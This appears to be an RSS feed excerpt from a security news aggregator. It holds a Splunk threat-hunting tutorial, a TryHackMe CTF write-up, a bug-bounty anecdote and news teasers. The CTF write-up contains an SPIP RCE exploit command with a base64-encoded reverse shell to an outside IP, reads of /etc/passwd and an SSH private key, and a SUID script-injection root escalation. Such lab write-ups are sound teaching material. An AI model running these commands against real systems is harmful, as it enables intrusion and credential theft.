binaries:powershell.execmd.execertutil.exerundll32.exemshta.exeFrequency often reveals behavioral patterns&nbsp;quickly.Geolocation Enrichment with iplocationContext matters.IP addresses alone are not very informative.Splunk&rsquo;s iplocation command enriches IP data with geographic metadata.PAYLOADindex=windowslogs| iplocation SourceIp| stats count by RegionBreakdown:| iplocation SourceIpEnriches IP addresses.Then:| stats count by RegionSummarizes event counts geographically.Result:CaliforniaGeolocation enrichment is useful&nbsp;for:suspicious foreign&nbsp;accessimpossible travel investigationscloud-origin traffic&nbsp;reviewVPN anomaly&nbsp;analysisRisk-Based Lookup EnrichmentExternal lookup tables add contextual intelligence.This is hugely valuable in production SOC environments.PAYLOADindex=windowslogs| lookup image_riskscore Image OUTPUT RiskScore| stats count by Image RiskScore| sort - RiskScoreBreakdown:| lookupMatches process image names against an external risk database.Then:| statsAggregates the&nbsp;results.Finally:| sort - RiskScoreShows highest-risk entries&nbsp;first.Result:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThis makes sense &mdash; PowerShell is frequently abused for offensive activity.Why Lookups Matter in Real SOC OperationsLookups commonly&nbsp;provide:IOC intelligencemalware reputationuser role&nbsp;contextasset classificationvulnerability severitybusiness criticality mappingWithout enrichment, logs are just raw&nbsp;data.With enrichment, they become actionable intelligence.Anomaly Detection with&nbsp;SPLNot every malicious event screams for attention.Some of the most interesting threats hide inside what initially appears to be legitimate activity.A valid VPN login. A known employee account. A familiar IP range. A routine&nbsp;process.This is why anomaly detection matters.Instead of&nbsp;asking:&ldquo;Is this explicitly malicious?&rdquo;we ask:&ldquo;Is this behavior unusual?&rdquo;That shift is where threat hunting becomes significantly more effective.Detecting Outliers by&nbsp;CountryImagine reviewing a VPN dataset containing thousands of login&nbsp;events.Each record contains:login timestampusernamesource IPsource countryAt first glance, nothing looks suspicious.But what if a user who always logs in from one region suddenly appears from a completely different country?That is exactly what we&rsquo;re hunting&nbsp;for.PAYLOADindex=vpnlogs| eventstats count as logins_by_user by user| eventstats count as logins_by_user_country by user src_country| eval country_freq=logins_by_user_country/logins_by_user| where country_freq &lt; 0.1| table _time user src_ip src_country country_freqLet&rsquo;s break this&nbsp;down.Step 1: Count Total Logins Per&nbsp;User| eventstats count as logins_by_user by userThis calculates:Total login events per&nbsp;userExample:If user kbrown logged in 200&nbsp;times:logins_by_user = 200Unlike stats, eventstats preserves raw events while appending calculated values.That makes it perfect for enrichment-style analysis.Step 2: Count User Logins Per&nbsp;Country| eventstats count as logins_by_user_country by user src_countryNow we calculate:How many times each user logged in from each&nbsp;countryExample:If kbrown logged in only once from&nbsp;Japan:logins_by_user_country = 1Step 3: Calculate Behavioral Frequency| eval country_freq=logins_by_user_country/logins_by_userThis creates a behavioral ratio.Example:1 / 200 = 0.005Meaning:That country accounts for only 0.5% of the user&rsquo;s login behavior.That&rsquo;s interesting.Step 4: Filter Rare&nbsp;Behavior| where country_freq &lt; 0.1This keeps only behaviors occurring less than 10% of the&nbsp;time.That threshold defines anomaly sensitivity.Lower threshold:stricter detectionsfewer false positivesHigher threshold:noisier resultsbroader detectionStep 5: Investigation-Friendly Output| table _time user src_ip src_country country_freqCreates readable analyst&nbsp;output.Instead of messy raw events, we now get structured suspicious login candidates.Result:Outlier user:jsmithAnomalous country:JPWhy This&nbsp;MattersTraditional rule-based detection might&nbsp;ignore:&ldquo;Valid user successfully authenticated.&rdquo;Behavioral detection asks:&ldquo;Why is this user suddenly authenticating from&nbsp;Japan?&rdquo;That context changes everything.Detecting Suspicious Login&nbsp;HoursGeographic anomalies are&nbsp;useful.But attackers can also reveal themselves through strange&nbsp;timing.Example:An employee usually logs in&nbsp;around:1 PMThen suddenly authenticates at:3 AMThat deserves attention.PAYLOADindex=vpnlogs| eval hour=tonumber(strftime(_time, &quot;%H&quot;)) + tonumber(strftime(_time, &quot;%M&quot;))/60| eventstats avg(hour) as typical_hour stdev(hour) as stdev_hour by user| eval zscore=abs(hour - typical_hour) / stdev_hour| where zscore &gt; 3| eval hour=round(hour, 2), typical_hour=round(typical_hour, 2)| eval stdev_hour=round(stdev_hour, 2), zscore=round(zscore, 2)| table _time user src_ip src_country hour typical_hour stdev_hour zscore| sort - hour_zscoreThis is practical statistical anomaly&nbsp;hunting.Step 1: Convert Time into Numeric&nbsp;Hours| eval hour=tonumber(strftime(_time, &quot;%H&quot;)) + tonumber(strftime(_time, &quot;%M&quot;))/60Examples:13:30 &rarr;&nbsp;13.518:15 &rarr;&nbsp;18.2503:00 &rarr;&nbsp;3.0Why?Because statistical analysis requires numeric&nbsp;values.Step 2: Learn Normal Login&nbsp;Behavior| eventstats avg(hour) as typical_hour stdev(hour) as stdev_hour by userThis calculates:average login&nbsp;hourstandard deviationExample:typical_hour = 13.5stdev_hour = 0.8Meaning:User normally logs in around 1:30 PM, with relatively predictable behavior.Step 3: Calculate Z-Score| eval zscore=abs(hour - typical_hour) / stdev_hourZ-score measures anomaly severity.Interpretation:1 &rarr; slightly&nbsp;unusual2 &rarr;&nbsp;notable3+ &rarr; highly suspiciousExample:Normal:13.5Observed:3.0That&rsquo;s a major deviation.Step 4: Keep Only Strong&nbsp;Outliers| where zscore &gt; 3This aggressively reduces&nbsp;noise.Only statistically significant anomalies survive.Step 5: Investigation Output| tableCreates structured review output for analysts.ResultSuspicious user:njacksonObserved login:3 AMThat is highly abnormal compared to baseline behavior.Why Statistical Detection Is&nbsp;SmarterNaive rule:Alert on every 3 AM&nbsp;loginProblem:Night-shift employees trigger endless false positives.Behavioral detection instead&nbsp;asks:Is 3 AM unusual for THIS specific&nbsp;user?That&rsquo;s significantly more intelligent.Real-World TakeawaysThis room reinforces practical SOC investigation workflows.Search &amp; FilteringUseful for:authentication reviewIOC huntingendpoint triagelog scopingCommands used:searchoperatorsfieldsregexStructuringUseful for:timelinesreportinginvestigation readabilityCommands used:tablereverseTransformingUseful for:baseliningsummarizationpattern discoveryCommands used:topstatscharttimechartEnrichmentUseful for:contextual intelligencebusiness-aware detectionsuspicious origin&nbsp;analysisCommands used:iplocationlookupBehavioral DetectionUseful for:compromised account&nbsp;huntinginsider threat detectionVPN anomaly&nbsp;analysisunusual activity detectionCommands used:eventstatsevalwherestatistical logicFinal ThoughtsSplunk SPL is far more than just query&nbsp;syntax.It is investigative thinking translated into search&nbsp;logic.The real shift happens when you move&nbsp;from:&ldquo;I have&nbsp;logs.&rdquo;to:&ldquo;I understand what happened.&rdquo;That&rsquo;s where analysts become&nbsp;hunters.OutroIf this walkthrough helped you, feel free to connect with&nbsp;me:GitHub: https://github.com/AdityaBhatt3010LinkedIn: https://www.linkedin.com/in/adityabhatt3010/Medium: https://medium.com/@adityabhatt3010More writeups soon. Cleaner, deeper and built from too many late-night labs.If you found this useful, consider starring the repository and following my cybersecurity journey.Splunk Exploring SPL: A Practical SOC Analyst Walkthrough for Search, Detection, and Threat Hunting was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3579533/IT+Sicherheit/Hacker/Splunk+Exploring+SPL%3A+A+Practical+SOC+Analyst+Walkthrough+for+Search%2C+Detection%2C+and+Threat+Hunting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579533/IT+Sicherheit/Hacker/Splunk+Exploring+SPL%3A+A+Practical+SOC+Analyst+Walkthrough+for+Search%2C+Detection%2C+and+Threat+Hunting/</guid>
<pubDate>Sun, 07 Jun 2026 16:42:23 +0200</pubDate>
</item>
<item> 
<title><![CDATA[SPIP RCE + Docker SUID Escape | THM Publisher]]></title> 
<description><![CDATA[Hello Friend,Welcome to another TryHackMe challenge PublisherStep 1 &mdash; Nmap ReconnaissanceWe begin with an aggressive Nmap scan to identify open ports and running services on the target&nbsp;machine.Nmap ResultThe HTTP title reveals SPIP CMS is running &mdash; this is a known vulnerable CMS. Version enumeration is the next priority.Step 2 &mdash; Web Enumeration (FFUF)Navigate to the web server. The homepage shows a SPIP-based Community Magazine. We run directory fuzzing to find hidden&nbsp;paths.ffuf -u http://10.65.183.106/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txtFuzzing with FUZZ to find the hidden directory and&nbsp;filesStep 3 &mdash; Version Detection (Whatweb)We use WhatWeb to fingerprint the exact version of SPIP running on the&nbsp;target.whatweb http://10.65.183.106/spipversion detectionSPIP 4.2.0 is confirmed. This version is vulnerable to CVE -2023&ndash;27372 an unauthenticated remote code execution vulnerability via the oubli parameter in the password reset form. this github link contain the exploitaion code with&nbsp;usage.Step 4 &mdash; RCE via CVE-2023&ndash;27372We use a public Python exploit to gain initial remote code execution as www-data.python CVE-2023-27372.py -u http://10.64.179.228/spip -c &#039;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzOS4yMTEvNDQ0NCAwPiYx|base64 -d&gt;shell.php&#039;Confirm code execution by testing the id command via the page parameter:RCEWe have remote code execution as www-data. Next we enumerate the system for privilege escalation paths.Step 5 &mdash; LFI &amp; system enumerationUsing the RCE, we read /etc/passwd to identify users on the&nbsp;system./etc/passwdUser &lsquo;think&rsquo; exists with UID 1000 &mdash; a regular user with a home directory at /home/think. Likely has SSH access. We check if think has an exposed SSH private&nbsp;key:id_rsa key&nbsp;foundStep 6 &mdash; SSH Access as&nbsp;thinkRead the private key using RCE, save it locally, set permissions, and SSH&nbsp;in:logged in as think&nbsp;userthink user contain the user flag in&nbsp;user.txtStep 7 &mdash; Privilege escaltion EnumerationNow we hunt for a path to root. We search for SUID binaries:SUID binariesin this /usr/sbin/run_conatainer is a custom binary which looks like suspicious!&nbsp;. We use strings to reveal what the binary executes internally:The SUID binary run_container calls /opt/run_container.sh &mdash; if we can write to that script, we can execute commands as&nbsp;root.Step 8 &mdash; SUID Escape to&nbsp;RootExecute run_container to understand its behavior:cd /opt &amp;&amp; run_containerList of Docker containers:ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 4 hoursOPTIONS: 1) Start  2) Stop  3) Restart  4) Create  5) QuitEscape via Dynamic Linker&nbsp;: We use the dynamic linker/loader to invoke bash bypassing AppArmor restrictions/lib/x86_64-linux-gnu/ld-linux-x86&ndash;64.so.2 /bin/bashThis directly invokes the dynamic linker to load /bin/bash, circumventing AppArmor profile restrictions on the container binary.Inject Shell into run_container.sh&nbsp;: Append a bash -p (privileged shell) command to the script, then trigger via the SUID&nbsp;binaryecho &#039;bash -p&#039; &gt;&gt; /opt/run_container.shrun_container# Select option 1 (Start Container)bash-5.0# whoamirootrootin /root/root.txt we will find the final&nbsp;flag.Thank you for reading. If you wnat learn about the fuzzing read this&nbsp;blog🔍 Discover Hidden Attack Surfaces with FFUF FuzzingIf this helped you, connect with&nbsp;me:Twitter/X&nbsp;: https://x.com/cybervolt07YouTube: https://www.youtube.com/@cybervolt07Like &bull; Share &bull; Subscribe for more CTF walkthroughs!SPIP RCE + Docker SUID Escape | THM Publisher was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3579532/IT+Sicherheit/Hacker/SPIP+RCE+%2B+Docker+SUID+Escape+%7C+THM+Publisher/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579532/IT+Sicherheit/Hacker/SPIP+RCE+%2B+Docker+SUID+Escape+%7C+THM+Publisher/</guid>
<pubDate>Sun, 07 Jun 2026 16:46:43 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Update: The Ending of My $500 Loss and Web Cache Poisoning Story.]]></title> 
<description><![CDATA[By kjuliusIn my previous article, I published a story about how losing $500 unexpectedly led me back to a Web Cache Poisoning vulnerability that I had previously documented and forgotten about.If you haven&rsquo;t read the original story, you can find it here: https://medium.com/bugbountywriteup/when-bug-bounty-hunting-hit-me-back-how-losing-500-led-me-to-a-web-cache-poisoning-bug-36fb2f196b9aAt the time of writing that article, there were still a lot of unanswered questions. The account remained active, the charge had already gone through, and I wasn&rsquo;t sure how the situation would eventually end.Well, here&rsquo;s the&nbsp;update.The Account Was Eventually Deactivated.Over the following weeks, I started receiving multiple payment reminder emails from the&nbsp;service.The emails ranged from payment notifications to overdue invoice reminders and eventually account-blocking notices.Proof of Concept&nbsp;Image.At first, I ignored them because I had already contacted both the company and my bank regarding the&nbsp;charge.Then one day, I logged back into the account and noticed a message stating that the account had been temporarily deactivated due to unpaid invoices.Shortly afterward, the service access was effectively disabled and the subscription was no longer&nbsp;active.Proof of Concept&nbsp;Image.At that point, it became clear that the account would not remain active indefinitely.The Unexpected Refund.The most surprising part came&nbsp;later.A few days after the account was deactivated, the money that had been debited from my account was returned.Since the day I noticed the original charge, I had immediately contacted my bank, cancelled the card, and requested a dispute/chargeback investigation.Because of that, I believe the refund was most likely the result of the bank&rsquo;s dispute process rather than a direct refund from the&nbsp;company.I cannot say that with complete certainty, but the timing strongly suggests&nbsp;it.Either way, seeing that notification was a huge&nbsp;relief.Proof of Concept&nbsp;Image.Looking Back.When the entire situation started, I honestly thought the money was gone for&nbsp;good.Instead, several things happened:The account was eventually deactivated.The subscription was cancelled.The disputed funds were returned.The cache poisoning bug I discovered turned out to be a duplicate.Not exactly the ending I expected.I didn&rsquo;t receive a&nbsp;bounty.I didn&rsquo;t keep the subscription.And I didn&rsquo;t get a unique vulnerability report accepted.But I did get my money&nbsp;back.And sometimes that&rsquo;s a win on its&nbsp;own.Final Thoughts.One thing bug bounty hunting teaches you very quickly is that not every story ends with a&nbsp;payout.Sometimes you find a valid bug and lose the&nbsp;race.Sometimes you spend weeks investigating something that goes&nbsp;nowhere.And sometimes life throws unexpected distractions right in the middle of a&nbsp;hunt.What matters is continuing to learn and continuing to&nbsp;improve.The duplicate report was disappointing.The $500 charge was frustrating.But the experience itself was valuable.The hunt continues.And as I&rsquo;ve learned many times&nbsp;before:As long as software continues to evolve, there will always be vulnerabilities waiting to be discovered.Never give up, till we meet again&hellip;&nbsp;🙏Update: The Ending of My $500 Loss and Web Cache Poisoning Story. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3579531/IT+Sicherheit/Hacker/Update%3A+The+Ending+of+My+%24500+Loss+and+Web+Cache+Poisoning+Story./</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579531/IT+Sicherheit/Hacker/Update%3A+The+Ending+of+My+%24500+Loss+and+Web+Cache+Poisoning+Story./</guid>
<pubDate>Sun, 07 Jun 2026 16:46:53 +0200</pubDate>
</item>
<item> 
<title><![CDATA[The 5 Skills Every Cybersecurity Engineer Needs in 2026 (That Universities Still Aren’t Teaching)]]></title> 
<description><![CDATA[Are you prepping for a cybersecurity market that does not exist ?Continue reading on InfoSec Write-ups &raquo; ]]></description>
<link>https://tsecurity.de/de/3579530/IT+Sicherheit/Hacker/The+5+Skills+Every+Cybersecurity+Engineer+Needs+in+2026+%28That+Universities+Still+Aren%E2%80%99t+Teaching%29/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579530/IT+Sicherheit/Hacker/The+5+Skills+Every+Cybersecurity+Engineer+Needs+in+2026+%28That+Universities+Still+Aren%E2%80%99t+Teaching%29/</guid>
<pubDate>Sun, 07 Jun 2026 16:47:23 +0200</pubDate>
</item>
<item> 
<title><![CDATA[The Most Dangerous Security Bug Is the One That Feels Like a Feature]]></title> 
<description><![CDATA[A single click should not carry the weight of your entire developer identity.Continue reading on InfoSec Write-ups &raquo; ]]></description>
<link>https://tsecurity.de/de/3579529/IT+Sicherheit/Hacker/The+Most+Dangerous+Security+Bug+Is+the+One+That+Feels+Like+a+Feature/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579529/IT+Sicherheit/Hacker/The+Most+Dangerous+Security+Bug+Is+the+One+That+Feels+Like+a+Feature/</guid>
<pubDate>Sun, 07 Jun 2026 16:47:28 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Pragmata: Alle Fundorte der Storage Expander | GAMES.GG]]></title> 
<description><![CDATA[Dianas Hacking-Anzeige ist eines der m&auml;chtigsten Werkzeuge in Pragmata, und Storage Expander sind die Collectibles, die ihr Limit nach oben&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3579080/IT+Sicherheit/Hacker/Pragmata%3A+Alle+Fundorte+der+Storage+Expander+%7C+GAMES.GG/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579080/IT+Sicherheit/Hacker/Pragmata%3A+Alle+Fundorte+der+Storage+Expander+%7C+GAMES.GG/</guid>
<pubDate>Sun, 07 Jun 2026 08:02:58 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Das Vertrauen in KI wird nach dem Meta-AI-Vorfall in Frage gestellt. - Vietnam.vn]]></title> 
<description><![CDATA[(Baohatinh.vn) &ndash; Neue Angriffe beschr&auml;nken sich nicht mehr auf die Ausnutzung technischer Schwachstellen, sondern zielen direkt darauf ab,&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3578657/IT+Sicherheit/Hacker/Das+Vertrauen+in+KI+wird+nach+dem+Meta-AI-Vorfall+in+Frage+gestellt.+-+Vietnam.vn/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578657/IT+Sicherheit/Hacker/Das+Vertrauen+in+KI+wird+nach+dem+Meta-AI-Vorfall+in+Frage+gestellt.+-+Vietnam.vn/</guid>
<pubDate>Sun, 07 Jun 2026 02:42:13 +0200</pubDate>
</item>
<item> 
<title><![CDATA[I drove 25,000 miles with CarPlay last year - here are the apps I used most (and why)]]></title> 
<description><![CDATA[I spend a lot of time driving. These are the CarPlay apps that make every trip easy. ]]></description>
<link>https://tsecurity.de/de/3578617/IT+Sicherheit/Hacker/I+drove+25%2C000+miles+with+CarPlay+last+year+-+here+are+the+apps+I+used+most+%28and+why%29/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578617/IT+Sicherheit/Hacker/I+drove+25%2C000+miles+with+CarPlay+last+year+-+here+are+the+apps+I+used+most+%28and+why%29/</guid>
<pubDate>Sun, 07 Jun 2026 03:00:51 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Sendung - Die Pfefferkörner (214) am Sa., 04.07.2026 - Das Erste - WDR]]></title> 
<description><![CDATA[Tarun hat es mit seiner Erfindung, einem smarten Assistenz-Computer f&uuml;r Rollstuhlfahrer &ndash; und damit auch f&uuml;r Pippa - bis in die letzte Runde eines&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3578544/IT+Sicherheit/Hacker/Sendung+-+Die+Pfefferk%C3%B6rner+%28214%29+am+Sa.%2C+04.07.2026+-+Das+Erste+-+WDR/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578544/IT+Sicherheit/Hacker/Sendung+-+Die+Pfefferk%C3%B6rner+%28214%29+am+Sa.%2C+04.07.2026+-+Das+Erste+-+WDR/</guid>
<pubDate>Sat, 06 Jun 2026 13:14:19 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Ruag-Hack: Warum die Lösegeldzahlung weitere Cyberangriffe anziehen könnte]]></title> 
<description><![CDATA[Experten zu Ruag-Fall: L&ouml;segeld an Hacker gezahlt &ndash; &laquo;bestes Signal an Kriminelle&raquo;. Die Ruag hat Hackern L&ouml;segeld bezahlt. Cybersecurity-Experten&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3578543/IT+Sicherheit/Hacker/Ruag-Hack%3A+Warum+die+L%C3%B6segeldzahlung+weitere+Cyberangriffe+anziehen+k%C3%B6nnte/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578543/IT+Sicherheit/Hacker/Ruag-Hack%3A+Warum+die+L%C3%B6segeldzahlung+weitere+Cyberangriffe+anziehen+k%C3%B6nnte/</guid>
<pubDate>Sat, 06 Jun 2026 23:30:01 +0200</pubDate>
</item>
<item> 
<title><![CDATA[U.S. CISA adds SolarWinds Serv-U flaw to its Known Exploited Vulnerabilities catalog]]></title> 
<description><![CDATA[U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds SolarWinds Serv-U flaw to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA)&nbsp;added SolarWinds Serv-U flaw, tracked as CVE-2026-28318 (CVSS ver 3.1 score of 7.5), to its Known Exploited Vulnerabilities (KEV) catalog. SolarWinds Serv-U is a managed file transfer (MFT) and secure file [&hellip;] ]]></description>
<link>https://tsecurity.de/de/3578449/IT+Sicherheit/Hacker/U.S.+CISA+adds+SolarWinds+Serv-U+flaw+to+its+Known+Exploited+Vulnerabilities+catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578449/IT+Sicherheit/Hacker/U.S.+CISA+adds+SolarWinds+Serv-U+flaw+to+its+Known+Exploited+Vulnerabilities+catalog/</guid>
<pubDate>Sat, 06 Jun 2026 23:44:53 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Malware-Angriffe: Loader-Kampagnen springen um 98,3 Prozent]]></title> 
<description><![CDATA[Sicherheitsforscher warnen vor immer raffinierteren Cyberangriffen mit KI und Schadsoftware, die sich als NVIDIA-Komponenten tarnt. ]]></description>
<link>https://tsecurity.de/de/3578425/IT+Sicherheit/Hacker/Malware-Angriffe%3A+Loader-Kampagnen+springen+um+98%2C3+Prozent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578425/IT+Sicherheit/Hacker/Malware-Angriffe%3A+Loader-Kampagnen+springen+um+98%2C3+Prozent/</guid>
<pubDate>Sat, 06 Jun 2026 22:59:04 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Silent Ransom Group: Hacker dringen persönlich in Büros ein - BornCity]]></title> 
<description><![CDATA[Hacker nutzen legitime Google-Infrastruktur f&uuml;r Phishing und Erpressung. FBI und Sicherheitsforscher warnen vor neuen,&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3578424/IT+Sicherheit/Hacker/Silent+Ransom+Group%3A+Hacker+dringen+pers%C3%B6nlich+in+B%C3%BCros+ein+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578424/IT+Sicherheit/Hacker/Silent+Ransom+Group%3A+Hacker+dringen+pers%C3%B6nlich+in+B%C3%BCros+ein+-+BornCity/</guid>
<pubDate>Sat, 06 Jun 2026 23:54:24 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Spionage als Service: Staaten lagern Überwachung an private Firmen aus]]></title> 
<description><![CDATA[Regierungen lagern &Uuml;berwachung zunehmend an private Anbieter aus. Neue Methoden nutzen Werbedaten statt Hacking, w&auml;hrend US-Geheimdienste Stellen&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3578316/IT+Sicherheit/Hacker/Spionage+als+Service%3A+Staaten+lagern+%C3%9Cberwachung+an+private+Firmen+aus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578316/IT+Sicherheit/Hacker/Spionage+als+Service%3A+Staaten+lagern+%C3%9Cberwachung+an+private+Firmen+aus/</guid>
<pubDate>Sat, 06 Jun 2026 21:00:27 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Cyber-Versicherungen: Ablehnungsquote steigt auf 33 Prozent - Börse Express]]></title> 
<description><![CDATA[Ruag zahlte trotz Warnung des Bundesamts f&uuml;r Cybersicherheit L&ouml;segeld an die Gruppe Akira. Der Vorfall zeigt die anhaltende Bedrohung durch&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3578270/IT+Sicherheit/Hacker/Cyber-Versicherungen%3A+Ablehnungsquote+steigt+auf+33+Prozent+-+B%C3%B6rse+Express/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578270/IT+Sicherheit/Hacker/Cyber-Versicherungen%3A+Ablehnungsquote+steigt+auf+33+Prozent+-+B%C3%B6rse+Express/</guid>
<pubDate>Sat, 06 Jun 2026 15:48:03 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Indische Schuldatenbank: 30 Millionen Datensätze waren ungeschützt - Ad-hoc-news.de]]></title> 
<description><![CDATA[Nach massiven Sicherheitsl&uuml;cken bei der CBSE halfen IIT-Experten, die Systeme zu sichern. Ein ethischer Hacker deckte die Schwachstellen auf. ]]></description>
<link>https://tsecurity.de/de/3578224/IT+Sicherheit/Hacker/Indische+Schuldatenbank%3A+30+Millionen+Datens%C3%A4tze+waren+ungesch%C3%BCtzt+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578224/IT+Sicherheit/Hacker/Indische+Schuldatenbank%3A+30+Millionen+Datens%C3%A4tze+waren+ungesch%C3%BCtzt+-+Ad-hoc-news.de/</guid>
<pubDate>Sat, 06 Jun 2026 15:10:19 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Anthropic warnt: Hacker setzen zunehmend KI für Cyberangriffe ein - Newsbit.de]]></title> 
<description><![CDATA[Cyberkriminelle nutzen immer &ouml;fter k&uuml;nstliche Intelligenz f&uuml;r Cyberangriffe. Dies geht aus einer neuen Studie des KI-Unternehmens Anthropic&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3578223/IT+Sicherheit/Hacker/Anthropic+warnt%3A+Hacker+setzen+zunehmend+KI+f%C3%BCr+Cyberangriffe+ein+-+Newsbit.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578223/IT+Sicherheit/Hacker/Anthropic+warnt%3A+Hacker+setzen+zunehmend+KI+f%C3%BCr+Cyberangriffe+ein+-+Newsbit.de/</guid>
<pubDate>Sat, 06 Jun 2026 17:21:27 +0200</pubDate>
</item>
<item> 
<title><![CDATA[„Die Geheimdienste werden privatisiert“: Das neue Zeitalter der Handy-Spionage]]></title> 
<description><![CDATA[&bdquo;Es gibt eine neue Form der &Uuml;berwachung, die kein Hacking braucht&ldquo;, sagt. Bild vergr&ouml;&szlig;ern. &bdquo;Es gibt eine neue Form der &Uuml;berwachung, die kein Hacking&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3578194/IT+Sicherheit/Hacker/%E2%80%9EDie+Geheimdienste+werden+privatisiert%E2%80%9C%3A+Das+neue+Zeitalter+der+Handy-Spionage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578194/IT+Sicherheit/Hacker/%E2%80%9EDie+Geheimdienste+werden+privatisiert%E2%80%9C%3A+Das+neue+Zeitalter+der+Handy-Spionage/</guid>
<pubDate>Sat, 06 Jun 2026 19:49:40 +0200</pubDate>
</item>
<item> 
<title><![CDATA[CareerConnect-Hack: Hacker erbeuten Daten von Alumni und Arbeitgebern]]></title> 
<description><![CDATA[Unbekannte erbeuten Namen und E-Mails von Oxford-Alumni &uuml;ber die Karriereplattform CareerConnect. Interne Uni-Systeme blieben verschont. ]]></description>
<link>https://tsecurity.de/de/3578154/IT+Sicherheit/Hacker/CareerConnect-Hack%3A+Hacker+erbeuten+Daten+von+Alumni+und+Arbeitgebern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578154/IT+Sicherheit/Hacker/CareerConnect-Hack%3A+Hacker+erbeuten+Daten+von+Alumni+und+Arbeitgebern/</guid>
<pubDate>Sat, 06 Jun 2026 19:16:13 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Wie viel Geld Hacker von ihren Opfern verlangen - Nau.ch]]></title> 
<description><![CDATA[Der R&uuml;stungskonzern Ruag hat nach einem Cyberangriff auf eine Tochterfirma L&ouml;segeld an Hacker bezahlt. Wie hoch der Betrag war,&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3578053/IT+Sicherheit/Hacker/Wie+viel+Geld+Hacker+von+ihren+Opfern+verlangen+-+Nau.ch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578053/IT+Sicherheit/Hacker/Wie+viel+Geld+Hacker+von+ihren+Opfern+verlangen+-+Nau.ch/</guid>
<pubDate>Sat, 06 Jun 2026 17:37:41 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Report: Anthropic Deploys Engineers to Support NSA Use of Mythos]]></title> 
<description><![CDATA[Reports claim Anthropic engineers are helping the NSA use its restricted AI model Mythos, known for advanced cybersecurity capabilities. This week, the Financial Times reported that Anthropic has placed approximately six &ldquo;forward-deployed&rdquo; engineers inside the National Security Agency to help the intelligence agency use Mythos, its most capable cyber model, for offensive operations. Two people [&hellip;] ]]></description>
<link>https://tsecurity.de/de/3578052/IT+Sicherheit/Hacker/Report%3A+Anthropic+Deploys+Engineers+to+Support+NSA+Use+of+Mythos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578052/IT+Sicherheit/Hacker/Report%3A+Anthropic+Deploys+Engineers+to+Support+NSA+Use+of+Mythos/</guid>
<pubDate>Sat, 06 Jun 2026 18:18:53 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Hacker haben die KI von Meta ausgetrickst und so die Kontrolle über Instagram-Konten erlangt.]]></title> 
<description><![CDATA[AI - Ảnh 1. Hacker nutzten den Chatbot von Meta, um Instagram-Konten zu kapern. Meta hat sich k&uuml;rzlich zu einem Sicherheitsvorfall im Zusammenhang&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577925/IT+Sicherheit/Hacker/Hacker+haben+die+KI+von+Meta+ausgetrickst+und+so+die+Kontrolle+%C3%BCber+Instagram-Konten+erlangt./</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577925/IT+Sicherheit/Hacker/Hacker+haben+die+KI+von+Meta+ausgetrickst+und+so+die+Kontrolle+%C3%BCber+Instagram-Konten+erlangt./</guid>
<pubDate>Sat, 06 Jun 2026 12:53:11 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Chinesische Hacker-Gruppe TA4922 steigert Angriffstempo auf Deutschland - it-daily.net]]></title> 
<description><![CDATA[Die chinesischsprachige Hacker-Gruppe TA4922 weitet ihre Angriffe massiv auf Europa aus und nutzt daf&uuml;r KI-generierte Phishing-Kampagnen. ]]></description>
<link>https://tsecurity.de/de/3577924/IT+Sicherheit/Hacker/Chinesische+Hacker-Gruppe+TA4922+steigert+Angriffstempo+auf+Deutschland+-+it-daily.net/</link>
